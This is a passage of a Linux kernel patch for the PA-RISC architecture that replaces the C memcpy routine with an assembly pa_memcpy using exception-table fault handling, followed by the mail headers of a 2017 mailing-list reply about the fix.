+
+#ifdef CONFIG_64BIT
+	/* only do 64-bit copies if we can get aligned. */
+	extru	t0,31,3,t1
+	cmpib,<>,n  0,t1,.Lalign_loop32
+
+	/* loop until we are 64-bit aligned */
+.Lalign_loop64:
+	extru	dst,31,3,t1
+	cmpib,=,n	0,t1,.Lcopy_loop_16
+20:	ldb,ma	1(srcspc,src),t1
+21:	stb,ma	t1,1(dstspc,dst)
+	b	.Lalign_loop64
+	ldo	-1(len),len
+
+	ASM_EXCEPTIONTABLE_ENTRY(20b,.Lcopy_done)
+	ASM_EXCEPTIONTABLE_ENTRY(21b,.Lcopy_done)
+
+	ldi	31,t0
+.Lcopy_loop_16:
+	cmpb,COND(>>=),n t0,len,.Lword_loop
+
+10:	ldd,ma	8(srcspc,src),t1
+11:	ldd,ma	8(srcspc,src),t2
+12:	std,ma	t1,8(dstspc,dst)
+13:	std,ma	t2,8(dstspc,dst)
+	ldo	-16(len),len
+14:	ldd,ma	8(srcspc,src),t1
+15:	ldd,ma	8(srcspc,src),t2
+16:	std,ma	t1,8(dstspc,dst)
+17:	std,ma	t2,8(dstspc,dst)
+
+	ASM_EXCEPTIONTABLE_ENTRY(10b,.Lcopy_done)
+	ASM_EXCEPTIONTABLE_ENTRY(11b,.Lcopy16_fault0)
+	ASM_EXCEPTIONTABLE_ENTRY(12b,.Lcopy_done)
+	ASM_EXCEPTIONTABLE_ENTRY(13b,.Lcopy16_fault8)
+	ASM_EXCEPTIONTABLE_ENTRY(14b,.Lcopy_done)
+	ASM_EXCEPTIONTABLE_ENTRY(15b,.Lcopy16_fault0)
+	ASM_EXCEPTIONTABLE_ENTRY(16b,.Lcopy_done)
+	ASM_EXCEPTIONTABLE_ENTRY(17b,.Lcopy16_fault8)
+
+	b	.Lcopy_loop_16
+	ldo	-16(len),len
+
+.Lcopy16_fault0:
+10:	std	t1,0(dstspc,dst)
+	ASM_EXCEPTIONTABLE_ENTRY(10b,.Lcopy_done)
+.Lcopy16_fault8:
+	b	.Lcopy_done
+	ldo	-8(len),len
+
+.Lword_loop:
+	cmpib,COND(>>=),n 3,len,.Lbyte_loop
+20:	ldw,ma	4(srcspc,src),t1
+21:	stw,ma	t1,4(dstspc,dst)
+	b	.Lword_loop
+	ldo	-4(len),len
+
+	ASM_EXCEPTIONTABLE_ENTRY(20b,.Lcopy_done)
+	ASM_EXCEPTIONTABLE_ENTRY(21b,.Lcopy_done)
+
+#endif /* CONFIG_64BIT */
+
+	/* loop until we are 32bit aligned */
+.Lalign_loop32:
+	extru	dst,31,2,t1
+	cmpib,=,n	0,t1,.Lcopy_loop_4
+20:	ldb,ma	1(srcspc,src),t1
+21:	stb,ma	t1,1(dstspc,dst)
+	b	.Lalign_loop32
+	ldo	-1(len),len
+
+	ASM_EXCEPTIONTABLE_ENTRY(20b,.Lcopy_done)
+	ASM_EXCEPTIONTABLE_ENTRY(21b,.Lcopy_done)
+
+
+.Lcopy_loop_4:
+	cmpib,COND(>>=),n 15,len,.Lbyte_loop
+
+10:	ldw	0(srcspc,src),t1
+11:	ldw	4(srcspc,src),t2
+12:	ldw	8(srcspc,src),t3
+13:	ldw	12(srcspc,src),t4
+14:	stw,ma	t1,4(dstspc,dst)
+15:	stw,ma	t2,4(dstspc,dst)
+16:	stw,ma	t3,4(dstspc,dst)
+17:	stw,ma	t4,4(dstspc,dst)
+
+	ASM_EXCEPTIONTABLE_ENTRY(10b,.Lcopy_done)
+	ASM_EXCEPTIONTABLE_ENTRY(11b,.Lbyte_loop_run)
+	ASM_EXCEPTIONTABLE_ENTRY(12b,.Lbyte_loop_run)
+	ASM_EXCEPTIONTABLE_ENTRY(13b,.Lbyte_loop_run)
+	ASM_EXCEPTIONTABLE_ENTRY(14b,.Lcopy_done)
+	ASM_EXCEPTIONTABLE_ENTRY(15b,.Lcopy_fault4)
+	ASM_EXCEPTIONTABLE_ENTRY(16b,.Lcopy_fault8)
+	ASM_EXCEPTIONTABLE_ENTRY(17b,.Lcopy_fault12)
+
+	ldo	16(src),src
+	b	.Lcopy_loop_4
+	ldo	-16(len),len
+
+.Lcopy_fault12:
+	ldo	-4(len),len
+.Lcopy_fault8:
+	ldo	-4(len),len
+.Lcopy_fault4:
+	b	.Lcopy_done
+	ldo	-4(len),len
+
+.Lbyte_loop:
+	cmpclr,COND(<>) len,%r0,%r0
+	b,n	.Lcopy_done
+.Lbyte_loop_run:
+20:	ldb,ma	1(srcspc,src),t1
+21:	stb,ma	t1,1(dstspc,dst)
+	b	.Lbyte_loop
+	ldo	-1(len),len
+
+	ASM_EXCEPTIONTABLE_ENTRY(20b,.Lcopy_done)
+	ASM_EXCEPTIONTABLE_ENTRY(21b,.Lcopy_done)
+
+.Lcopy_done:
+	bv	%r0(%r2)
+	copy	len,ret0
+
+
+	/* src and dst are not aligned the same way. */
+	/* need to go the hard way */
+.Lunaligned_copy:
+	/* align until dst is 32bit-word-aligned */
+	extru	dst,31,2,t1
+	cmpib,COND(=),n	0,t1,copy_dstaligned
+20:	ldb,ma	1(srcspc,src),t1
+21:	stb,ma	t1,1(dstspc,dst)
+	b	.Lunaligned_copy
+	ldo	-1(len),len
+
+	ASM_EXCEPTIONTABLE_ENTRY(20b,.Lcopy_done)
+	ASM_EXCEPTIONTABLE_ENTRY(21b,.Lcopy_done)
+
+copy_dstaligned:
+
+	/* store src, dst and len in safe place */
+	copy	src,save_src
+	copy	dst,save_dst
+	copy	len,save_len
+
+	/* len now needs give number of words to copy */
+	SHRREG	len,2,len
+
+	/*
+	 * Copy from a not-aligned src to an aligned dst using shifts.
+	 * Handles 4 words per loop.
+	 */
+
+	depw,z src,28,2,t0
+	subi 32,t0,t0
+	mtsar t0
+	extru len,31,2,t0
+	cmpib,= 2,t0,.Lcase2
+	/* Make src aligned by rounding it down.  */
+	depi 0,31,2,src
+
+	cmpiclr,<> 3,t0,%r0
+	b,n .Lcase3
+	cmpiclr,<> 1,t0,%r0
+	b,n .Lcase1
+.Lcase0:
+	cmpb,= %r0,len,.Lcda_finish
+	nop
+
+1:	ldw,ma 4(srcspc,src), a3
+	ASM_EXCEPTIONTABLE_ENTRY(1b,.Lcda_rdfault)
+1:	ldw,ma 4(srcspc,src), a0
+	ASM_EXCEPTIONTABLE_ENTRY(1b,.Lcda_rdfault)
+	b,n .Ldo3
+.Lcase1:
+1:	ldw,ma 4(srcspc,src), a2
+	ASM_EXCEPTIONTABLE_ENTRY(1b,.Lcda_rdfault)
+1:	ldw,ma 4(srcspc,src), a3
+	ASM_EXCEPTIONTABLE_ENTRY(1b,.Lcda_rdfault)
+	ldo -1(len),len
+	cmpb,=,n %r0,len,.Ldo0
+.Ldo4:
+1:	ldw,ma 4(srcspc,src), a0
+	ASM_EXCEPTIONTABLE_ENTRY(1b,.Lcda_rdfault)
+	shrpw a2, a3, %sar, t0
+1:	stw,ma t0, 4(dstspc,dst)
+	ASM_EXCEPTIONTABLE_ENTRY(1b,.Lcda_wrfault)
+.Ldo3:
+1:	ldw,ma 4(srcspc,src), a1
+	ASM_EXCEPTIONTABLE_ENTRY(1b,.Lcda_rdfault)
+	shrpw a3, a0, %sar, t0
+1:	stw,ma t0, 4(dstspc,dst)
+	ASM_EXCEPTIONTABLE_ENTRY(1b,.Lcda_wrfault)
+.Ldo2:
+1:	ldw,ma 4(srcspc,src), a2
+	ASM_EXCEPTIONTABLE_ENTRY(1b,.Lcda_rdfault)
+	shrpw a0, a1, %sar, t0
+1:	stw,ma t0, 4(dstspc,dst)
+	ASM_EXCEPTIONTABLE_ENTRY(1b,.Lcda_wrfault)
+.Ldo1:
+1:	ldw,ma 4(srcspc,src), a3
+	ASM_EXCEPTIONTABLE_ENTRY(1b,.Lcda_rdfault)
+	shrpw a1, a2, %sar, t0
+1:	stw,ma t0, 4(dstspc,dst)
+	ASM_EXCEPTIONTABLE_ENTRY(1b,.Lcda_wrfault)
+	ldo -4(len),len
+	cmpb,<> %r0,len,.Ldo4
+	nop
+.Ldo0:
+	shrpw a2, a3, %sar, t0
+1:	stw,ma t0, 4(dstspc,dst)
+	ASM_EXCEPTIONTABLE_ENTRY(1b,.Lcda_wrfault)
+
+.Lcda_rdfault:
+.Lcda_finish:
+	/* calculate new src, dst and len and jump to byte-copy loop */
+	sub	dst,save_dst,t0
+	add	save_src,t0,src
+	b	.Lbyte_loop
+	sub	save_len,t0,len
+
+
+.Lcase3:
+1:	ldw,ma 4(srcspc,src), a0
+	ASM_EXCEPTIONTABLE_ENTRY(1b,.Lcda_rdfault)
+1:	ldw,ma 4(srcspc,src), a1
+	ASM_EXCEPTIONTABLE_ENTRY(1b,.Lcda_rdfault)
+	b .Ldo2
+	ldo 1(len),len
+.Lcase2:
+1:	ldw,ma 4(srcspc,src), a1
+	ASM_EXCEPTIONTABLE_ENTRY(1b,.Lcda_rdfault)
+1:	ldw,ma 4(srcspc,src), a2
+	ASM_EXCEPTIONTABLE_ENTRY(1b,.Lcda_rdfault)
+	b .Ldo1
+	ldo 2(len),len
+
+.Lcda_wrfault:
+	/* write fault: calculate written len and exit */
+	sub	dst,save_dst,t0
+	b	.Lcopy_done
+	sub	save_len,t0,len
+
+	.exit
+ENDPROC_CFI(pa_memcpy)
+	.procend
+
 	.end
diff --git a/arch/parisc/lib/memcpy.c b/arch/parisc/lib/memcpy.c
index f82ff10..b3d47ec 100644
--- a/arch/parisc/lib/memcpy.c
+++ b/arch/parisc/lib/memcpy.c
@@ -2,7 +2,7 @@
  *    Optimized memory copy routines.
  *
  *    Copyright (C) 2004 Randolph Chung <tausq@debian.org>
- *    Copyright (C) 2013 Helge Deller <deller@gmx.de>
+ *    Copyright (C) 2013-2017 Helge Deller <deller@gmx.de>
  *
  *    This program is free software; you can redistribute it and/or modify
  *    it under the terms of the GNU General Public License as published by
@@ -21,474 +21,21 @@
  *    Portions derived from the GNU C Library
  *    Copyright (C) 1991, 1997, 2003 Free Software Foundation, Inc.
  *
- * Several strategies are tried to try to get the best performance for various
- * conditions. In the optimal case, we copy 64-bytes in an unrolled loop using 
- * fp regs. This is followed by loops that copy 32- or 16-bytes at a time using
- * general registers.  Unaligned copies are handled either by aligning the 
- * destination and then using shift-and-write method, or in a few cases by 
- * falling back to a byte-at-a-time copy.
- *
- * I chose to implement this in C because it is easier to maintain and debug,
- * and in my experiments it appears that the C code generated by gcc (3.3/3.4
- * at the time of writing) is fairly optimal. Unfortunately some of the 
- * semantics of the copy routine (exception handling) is difficult to express
- * in C, so we have to play some tricks to get it to work.
- *
- * All the loads and stores are done via explicit asm() code in order to use
- * the right space registers. 
- * 
- * Testing with various alignments and buffer sizes shows that this code is 
- * often >10x faster than a simple byte-at-a-time copy, even for strangely
- * aligned operands. It is interesting to note that the glibc version
- * of memcpy (written in C) is actually quite fast already. This routine is 
- * able to beat it by 30-40% for aligned copies because of the loop unrolling, 
- * but in some cases the glibc version is still slightly faster. This lends 
- * more credibility that gcc can generate very good code as long as we are 
- * careful.
- *
- * TODO:
- * - cache prefetching needs more experimentation to get optimal settings
- * - try not to use the post-increment address modifiers; they create additional
- *   interlocks
- * - replace byte-copy loops with stybs sequences
  */
 
-#ifdef __KERNEL__
 #include <linux/module.h>
 #include <linux/compiler.h>
 #include <linux/uaccess.h>
-#define s_space "%%sr1"
-#define d_space "%%sr2"
-#else
-#include "memcpy.h"
-#define s_space "%%sr0"
-#define d_space "%%sr0"
-#define pa_memcpy new2_copy
-#endif
 
 DECLARE_PER_CPU(struct exception_data, exception_data);
 
-#define preserve_branch(label)	do {					\
-	volatile int dummy = 0;						\
-	/* The following branch is never taken, it's just here to  */	\
-	/* prevent gcc from optimizing away our exception code. */ 	\
-	if (unlikely(dummy != dummy))					\
-		goto label;						\
-} while (0)
-
 #define get_user_space() (segment_eq(get_fs(), KERNEL_DS) ? 0 : mfsp(3))
 #define get_kernel_space() (0)
 
-#define MERGE(w0, sh_1, w1, sh_2)  ({					\
-	unsigned int _r;						\
-	asm volatile (							\
-	"mtsar %3\n"							\
-	"shrpw %1, %2, %%sar, %0\n"					\
-	: "=r"(_r)							\
-	: "r"(w0), "r"(w1), "r"(sh_2)					\
-	);								\
-	_r;								\
-})
-#define THRESHOLD	16
-
-#ifdef DEBUG_MEMCPY
-#define DPRINTF(fmt, args...) do { printk(KERN_DEBUG "%s:%d:%s ", __FILE__, __LINE__, __func__ ); printk(KERN_DEBUG fmt, ##args ); } while (0)
-#else
-#define DPRINTF(fmt, args...)
-#endif
-
-#define def_load_ai_insn(_insn,_sz,_tt,_s,_a,_t,_e)	\
-	__asm__ __volatile__ (				\
-	"1:\t" #_insn ",ma " #_sz "(" _s ",%1), %0\n\t"	\
-	ASM_EXCEPTIONTABLE_ENTRY(1b,_e)			\
-	: _tt(_t), "+r"(_a)				\
-	: 						\
-	: "r8")
-
-#define def_store_ai_insn(_insn,_sz,_tt,_s,_a,_t,_e) 	\
-	__asm__ __volatile__ (				\
-	"1:\t" #_insn ",ma %1, " #_sz "(" _s ",%0)\n\t"	\
-	ASM_EXCEPTIONTABLE_ENTRY(1b,_e)			\
-	: "+r"(_a) 					\
-	: _tt(_t)					\
-	: "r8")
-
-#define ldbma(_s, _a, _t, _e) def_load_ai_insn(ldbs,1,"=r",_s,_a,_t,_e)
-#define stbma(_s, _t, _a, _e) def_store_ai_insn(stbs,1,"r",_s,_a,_t,_e)
-#define ldwma(_s, _a, _t, _e) def_load_ai_insn(ldw,4,"=r",_s,_a,_t,_e)
-#define stwma(_s, _t, _a, _e) def_store_ai_insn(stw,4,"r",_s,_a,_t,_e)
-#define flddma(_s, _a, _t, _e) def_load_ai_insn(fldd,8,"=f",_s,_a,_t,_e)
-#define fstdma(_s, _t, _a, _e) def_store_ai_insn(fstd,8,"f",_s,_a,_t,_e)
-
-#define def_load_insn(_insn,_tt,_s,_o,_a,_t,_e) 	\
-	__asm__ __volatile__ (				\
-	"1:\t" #_insn " " #_o "(" _s ",%1), %0\n\t"	\
-	ASM_EXCEPTIONTABLE_ENTRY(1b,_e)			\
-	: _tt(_t) 					\
-	: "r"(_a)					\
-	: "r8")
-
-#define def_store_insn(_insn,_tt,_s,_t,_o,_a,_e) 	\
-	__asm__ __volatile__ (				\
-	"1:\t" #_insn " %0, " #_o "(" _s ",%1)\n\t" 	\
-	ASM_EXCEPTIONTABLE_ENTRY(1b,_e)			\
-	: 						\
-	: _tt(_t), "r"(_a)				\
-	: "r8")
-
-#define ldw(_s,_o,_a,_t,_e)	def_load_insn(ldw,"=r",_s,_o,_a,_t,_e)
-#define stw(_s,_t,_o,_a,_e) 	def_store_insn(stw,"r",_s,_t,_o,_a,_e)
-
-#ifdef  CONFIG_PREFETCH
-static inline void prefetch_src(const void *addr)
-{
-	__asm__("ldw 0(" s_space ",%0), %%r0" : : "r" (addr));
-}
-
-static inline void prefetch_dst(const void *addr)
-{
-	__asm__("ldd 0(" d_space ",%0), %%r0" : : "r" (addr));
-}
-#else
-#define prefetch_src(addr) do { } while(0)
-#define prefetch_dst(addr) do { } while(0)
-#endif
-
-#define PA_MEMCPY_OK		0
-#define PA_MEMCPY_LOAD_ERROR	1
-#define PA_MEMCPY_STORE_ERROR	2
-
-/* Copy from a not-aligned src to an aligned dst, using shifts. Handles 4 words
- * per loop.  This code is derived from glibc. 
- */
-static noinline unsigned long copy_dstaligned(unsigned long dst,
-					unsigned long src, unsigned long len)
-{
-	/* gcc complains that a2 and a3 may be uninitialized, but actually
-	 * they cannot be.  Initialize a2/a3 to shut gcc up.
-	 */
-	register unsigned int a0, a1, a2 = 0, a3 = 0;
-	int sh_1, sh_2;
-
-	/* prefetch_src((const void *)src); */
-
-	/* Calculate how to shift a word read at the memory operation
-	   aligned srcp to make it aligned for copy.  */
-	sh_1 = 8 * (src % sizeof(unsigned int));
-	sh_2 = 8 * sizeof(unsigned int) - sh_1;
-
-	/* Make src aligned by rounding it down.  */
-	src &= -sizeof(unsigned int);
-
-	switch (len % 4)
-	{
-		case 2:
-			/* a1 = ((unsigned int *) src)[0];
-			   a2 = ((unsigned int *) src)[1]; */
-			ldw(s_space, 0, src, a1, cda_ldw_exc);
-			ldw(s_space, 4, src, a2, cda_ldw_exc);
-			src -= 1 * sizeof(unsigned int);
-			dst -= 3 * sizeof(unsigned int);
-			len += 2;
-			goto do1;
-		case 3:
-			/* a0 = ((unsigned int *) src)[0];
-			   a1 = ((unsigned int *) src)[1]; */
-			ldw(s_space, 0, src, a0, cda_ldw_exc);
-			ldw(s_space, 4, src, a1, cda_ldw_exc);
-			src -= 0 * sizeof(unsigned int);
-			dst -= 2 * sizeof(unsigned int);
-			len += 1;
-			goto do2;
-		case 0:
-			if (len == 0)
-				return PA_MEMCPY_OK;
-			/* a3 = ((unsigned int *) src)[0];
-			   a0 = ((unsigned int *) src)[1]; */
-			ldw(s_space, 0, src, a3, cda_ldw_exc);
-			ldw(s_space, 4, src, a0, cda_ldw_exc);
-			src -=-1 * sizeof(unsigned int);
-			dst -= 1 * sizeof(unsigned int);
-			len += 0;
-			goto do3;
-		case 1:
-			/* a2 = ((unsigned int *) src)[0];
-			   a3 = ((unsigned int *) src)[1]; */
-			ldw(s_space, 0, src, a2, cda_ldw_exc);
-			ldw(s_space, 4, src, a3, cda_ldw_exc);
-			src -=-2 * sizeof(unsigned int);
-			dst -= 0 * sizeof(unsigned int);
-			len -= 1;
-			if (len == 0)
-				goto do0;
-			goto do4;			/* No-op.  */
-	}
-
-	do
-	{
-		/* prefetch_src((const void *)(src + 4 * sizeof(unsigned int))); */
-do4:
-		/* a0 = ((unsigned int *) src)[0]; */
-		ldw(s_space, 0, src, a0, cda_ldw_exc);
-		/* ((unsigned int *) dst)[0] = MERGE (a2, sh_1, a3, sh_2); */
-		stw(d_space, MERGE (a2, sh_1, a3, sh_2), 0, dst, cda_stw_exc);
-do3:
-		/* a1 = ((unsigned int *) src)[1]; */
-		ldw(s_space, 4, src, a1, cda_ldw_exc);
-		/* ((unsigned int *) dst)[1] = MERGE (a3, sh_1, a0, sh_2); */
-		stw(d_space, MERGE (a3, sh_1, a0, sh_2), 4, dst, cda_stw_exc);
-do2:
-		/* a2 = ((unsigned int *) src)[2]; */
-		ldw(s_space, 8, src, a2, cda_ldw_exc);
-		/* ((unsigned int *) dst)[2] = MERGE (a0, sh_1, a1, sh_2); */
-		stw(d_space, MERGE (a0, sh_1, a1, sh_2), 8, dst, cda_stw_exc);
-do1:
-		/* a3 = ((unsigned int *) src)[3]; */
-		ldw(s_space, 12, src, a3, cda_ldw_exc);
-		/* ((unsigned int *) dst)[3] = MERGE (a1, sh_1, a2, sh_2); */
-		stw(d_space, MERGE (a1, sh_1, a2, sh_2), 12, dst, cda_stw_exc);
-
-		src += 4 * sizeof(unsigned int);
-		dst += 4 * sizeof(unsigned int);
-		len -= 4;
-	}
-	while (len != 0);
-
-do0:
-	/* ((unsigned int *) dst)[0] = MERGE (a2, sh_1, a3, sh_2); */
-	stw(d_space, MERGE (a2, sh_1, a3, sh_2), 0, dst, cda_stw_exc);
-
-	preserve_branch(handle_load_error);
-	preserve_branch(handle_store_error);
-
-	return PA_MEMCPY_OK;
-
-handle_load_error:
-	__asm__ __volatile__ ("cda_ldw_exc:\n");
-	return PA_MEMCPY_LOAD_ERROR;
-
-handle_store_error:
-	__asm__ __volatile__ ("cda_stw_exc:\n");
-	return PA_MEMCPY_STORE_ERROR;
-}
-
-
-/* Returns PA_MEMCPY_OK, PA_MEMCPY_LOAD_ERROR or PA_MEMCPY_STORE_ERROR.
- * In case of an access fault the faulty address can be read from the per_cpu
- * exception data struct. */
-static noinline unsigned long pa_memcpy_internal(void *dstp, const void *srcp,
-					unsigned long len)
-{
-	register unsigned long src, dst, t1, t2, t3;
-	register unsigned char *pcs, *pcd;
-	register unsigned int *pws, *pwd;
-	register double *pds, *pdd;
-	unsigned long ret;
-
-	src = (unsigned long)srcp;
-	dst = (unsigned long)dstp;
-	pcs = (unsigned char *)srcp;
-	pcd = (unsigned char *)dstp;
-
-	/* prefetch_src((const void *)srcp); */
-
-	if (len < THRESHOLD)
-		goto byte_copy;
-
-	/* Check alignment */
-	t1 = (src ^ dst);
-	if (unlikely(t1 & (sizeof(double)-1)))
-		goto unaligned_copy;
-
-	/* src and dst have same alignment. */
-
-	/* Copy bytes till we are double-aligned. */
-	t2 = src & (sizeof(double) - 1);
-	if (unlikely(t2 != 0)) {
-		t2 = sizeof(double) - t2;
-		while (t2 && len) {
-			/* *pcd++ = *pcs++; */
-			ldbma(s_space, pcs, t3, pmc_load_exc);
-			len--;
-			stbma(d_space, t3, pcd, pmc_store_exc);
-			t2--;
-		}
-	}
-
-	pds = (double *)pcs;
-	pdd = (double *)pcd;
-
-#if 0
-	/* Copy 8 doubles at a time */
-	while (len >= 8*sizeof(double)) {
-		register double r1, r2, r3, r4, r5, r6, r7, r8;
-		/* prefetch_src((char *)pds + L1_CACHE_BYTES); */
-		flddma(s_space, pds, r1, pmc_load_exc);
-		flddma(s_space, pds, r2, pmc_load_exc);
-		flddma(s_space, pds, r3, pmc_load_exc);
-		flddma(s_space, pds, r4, pmc_load_exc);
-		fstdma(d_space, r1, pdd, pmc_store_exc);
-		fstdma(d_space, r2, pdd, pmc_store_exc);
-		fstdma(d_space, r3, pdd, pmc_store_exc);
-		fstdma(d_space, r4, pdd, pmc_store_exc);
-
-#if 0
-		if (L1_CACHE_BYTES <= 32)
-			prefetch_src((char *)pds + L1_CACHE_BYTES);
-#endif
-		flddma(s_space, pds, r5, pmc_load_exc);
-		flddma(s_space, pds, r6, pmc_load_exc);
-		flddma(s_space, pds, r7, pmc_load_exc);
-		flddma(s_space, pds, r8, pmc_load_exc);
-		fstdma(d_space, r5, pdd, pmc_store_exc);
-		fstdma(d_space, r6, pdd, pmc_store_exc);
-		fstdma(d_space, r7, pdd, pmc_store_exc);
-		fstdma(d_space, r8, pdd, pmc_store_exc);
-		len -= 8*sizeof(double);
-	}
-#endif
-
-	pws = (unsigned int *)pds;
-	pwd = (unsigned int *)pdd;
-
-word_copy:
-	while (len >= 8*sizeof(unsigned int)) {
-		register unsigned int r1,r2,r3,r4,r5,r6,r7,r8;
-		/* prefetch_src((char *)pws + L1_CACHE_BYTES); */
-		ldwma(s_space, pws, r1, pmc_load_exc);
-		ldwma(s_space, pws, r2, pmc_load_exc);
-		ldwma(s_space, pws, r3, pmc_load_exc);
-		ldwma(s_space, pws, r4, pmc_load_exc);
-		stwma(d_space, r1, pwd, pmc_store_exc);
-		stwma(d_space, r2, pwd, pmc_store_exc);
-		stwma(d_space, r3, pwd, pmc_store_exc);
-		stwma(d_space, r4, pwd, pmc_store_exc);
-
-		ldwma(s_space, pws, r5, pmc_load_exc);
-		ldwma(s_space, pws, r6, pmc_load_exc);
-		ldwma(s_space, pws, r7, pmc_load_exc);
-		ldwma(s_space, pws, r8, pmc_load_exc);
-		stwma(d_space, r5, pwd, pmc_store_exc);
-		stwma(d_space, r6, pwd, pmc_store_exc);
-		stwma(d_space, r7, pwd, pmc_store_exc);
-		stwma(d_space, r8, pwd, pmc_store_exc);
-		len -= 8*sizeof(unsigned int);
-	}
-
-	while (len >= 4*sizeof(unsigned int)) {
-		register unsigned int r1,r2,r3,r4;
-		ldwma(s_space, pws, r1, pmc_load_exc);
-		ldwma(s_space, pws, r2, pmc_load_exc);
-		ldwma(s_space, pws, r3, pmc_load_exc);
-		ldwma(s_space, pws, r4, pmc_load_exc);
-		stwma(d_space, r1, pwd, pmc_store_exc);
-		stwma(d_space, r2, pwd, pmc_store_exc);
-		stwma(d_space, r3, pwd, pmc_store_exc);
-		stwma(d_space, r4, pwd, pmc_store_exc);
-		len -= 4*sizeof(unsigned int);
-	}
-
-	pcs = (unsigned char *)pws;
-	pcd = (unsigned char *)pwd;
-
-byte_copy:
-	while (len) {
-		/* *pcd++ = *pcs++; */
-		ldbma(s_space, pcs, t3, pmc_load_exc);
-		stbma(d_space, t3, pcd, pmc_store_exc);
-		len--;
-	}
-
-	return PA_MEMCPY_OK;
-
-unaligned_copy:
-	/* possibly we are aligned on a word, but not on a double... */
-	if (likely((t1 & (sizeof(unsigned int)-1)) == 0)) {
-		t2 = src & (sizeof(unsigned int) - 1);
-
-		if (unlikely(t2 != 0)) {
-			t2 = sizeof(unsigned int) - t2;
-			while (t2) {
-				/* *pcd++ = *pcs++; */
-				ldbma(s_space, pcs, t3, pmc_load_exc);
-				stbma(d_space, t3, pcd, pmc_store_exc);
-				len--;
-				t2--;
-			}
-		}
-
-		pws = (unsigned int *)pcs;
-		pwd = (unsigned int *)pcd;
-		goto word_copy;
-	}
-
-	/* Align the destination.  */
-	if (unlikely((dst & (sizeof(unsigned int) - 1)) != 0)) {
-		t2 = sizeof(unsigned int) - (dst & (sizeof(unsigned int) - 1));
-		while (t2) {
-			/* *pcd++ = *pcs++; */
-			ldbma(s_space, pcs, t3, pmc_load_exc);
-			stbma(d_space, t3, pcd, pmc_store_exc);
-			len--;
-			t2--;
-		}
-		dst = (unsigned long)pcd;
-		src = (unsigned long)pcs;
-	}
-
-	ret = copy_dstaligned(dst, src, len / sizeof(unsigned int));
-	if (ret)
-		return ret;
-
-	pcs += (len & -sizeof(unsigned int));
-	pcd += (len & -sizeof(unsigned int));
-	len %= sizeof(unsigned int);
-
-	preserve_branch(handle_load_error);
-	preserve_branch(handle_store_error);
-
-	goto byte_copy;
-
-handle_load_error:
-	__asm__ __volatile__ ("pmc_load_exc:\n");
-	return PA_MEMCPY_LOAD_ERROR;
-
-handle_store_error:
-	__asm__ __volatile__ ("pmc_store_exc:\n");
-	return PA_MEMCPY_STORE_ERROR;
-}
-
-
 /* Returns 0 for success, otherwise, returns number of bytes not transferred. */
-static unsigned long pa_memcpy(void *dstp, const void *srcp, unsigned long len)
-{
-	unsigned long ret, fault_addr, reference;
-	struct exception_data *d;
-
-	ret = pa_memcpy_internal(dstp, srcp, len);
-	if (likely(ret == PA_MEMCPY_OK))
-		return 0;
-
-	/* if a load or store fault occured we can get the faulty addr */
-	d = this_cpu_ptr(&exception_data);
-	fault_addr = d->fault_addr;
-
-	/* error in load or store? */
-	if (ret == PA_MEMCPY_LOAD_ERROR)
-		reference = (unsigned long) srcp;
-	else
-		reference = (unsigned long) dstp;
+extern unsigned long pa_memcpy(void *dst, const void *src,
+				unsigned long len);
 
-	DPRINTF("pa_memcpy: fault type = %lu, len=%lu fault_addr=%lu ref=%lu\n",
-		ret, len, fault_addr, reference);
-
-	if (fault_addr >= reference)
-		return len - (fault_addr - reference);
-	else
-		return len;
-}
-
-#ifdef __KERNEL__
 unsigned long __copy_to_user(void __user *dst, const void *src,
 			     unsigned long len)
 {
@@ -537,5 +84,3 @@ long probe_kernel_read(void *dst, const void *src, size_t size)
 
 	return __probe_kernel_read(dst, src, size);
 }

From - Thu Nov 08 21:39:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH v2] parisc: Fix access fault handling in pa_memcpy() -
 testcase
Date: Tue, 28 Mar 2017 16:40:36 +0200
Lines: 136
Approved: news@gmane.org
Message-ID: <20170328144036.GA11993@p100.box>
References: <20170328141900.GA11846@p100.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1490712068 11325 195.159.176.226 (28 Mar 2017 14:41:08 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 28 Mar 2017 14:41:08 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
Cc: Al Viro <viro@ZenIV.linux.org.uk>
To: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Mar 28 16:41:03 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1cssIq-00084a-Ln
	for glpp-linux-parisc@m.gmane.org; Tue, 28 Mar 2017 16:40:56 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752474AbdC1OlD (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Tue, 28 Mar 2017 10:41:03 -0400
Original-Received: from mout.gmx.net ([212.227.17.22]:64148 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1752457AbdC1OlC (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Tue, 28 Mar 2017 10:41:02 -0400
Original-Received: from p100.box ([193.159.28.213]) by mail.gmx.com (mrgmx101
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0Ldcv0-1cS1zR0qmo-00iig2; Tue, 28
 Mar 2017 16:40:39 +0200
Content-Disposition: inline
In-Reply-To: <20170328141900.GA11846@p100.box>
X-Provags-ID: V03:K0:L9fE5eR4Lo6/0BXof7Mueu/B6/svyg/tw1+swDziN6hN7rnv3oA
 th2NKQagZohuVNa+fiCHh2XI4bvNwb/sxLyRZ1pz598cmFUUBO+DDyqQwpF6bj4ENtZuHJV
 fczEscA+Q4rAOsEnbqbi8RVfTxzfO7em40+mYnHI3gowWwbvEnkZP3di+cq5lyGiVyWh1qC
 Sm1GHMUDffYKbw9T10Abw==
X-UI-Out-Filterresults: notjunk:1;V01:K0:wA0vJFAEVMQ=:zVVo1vWycXDFEoj3GtWFLI
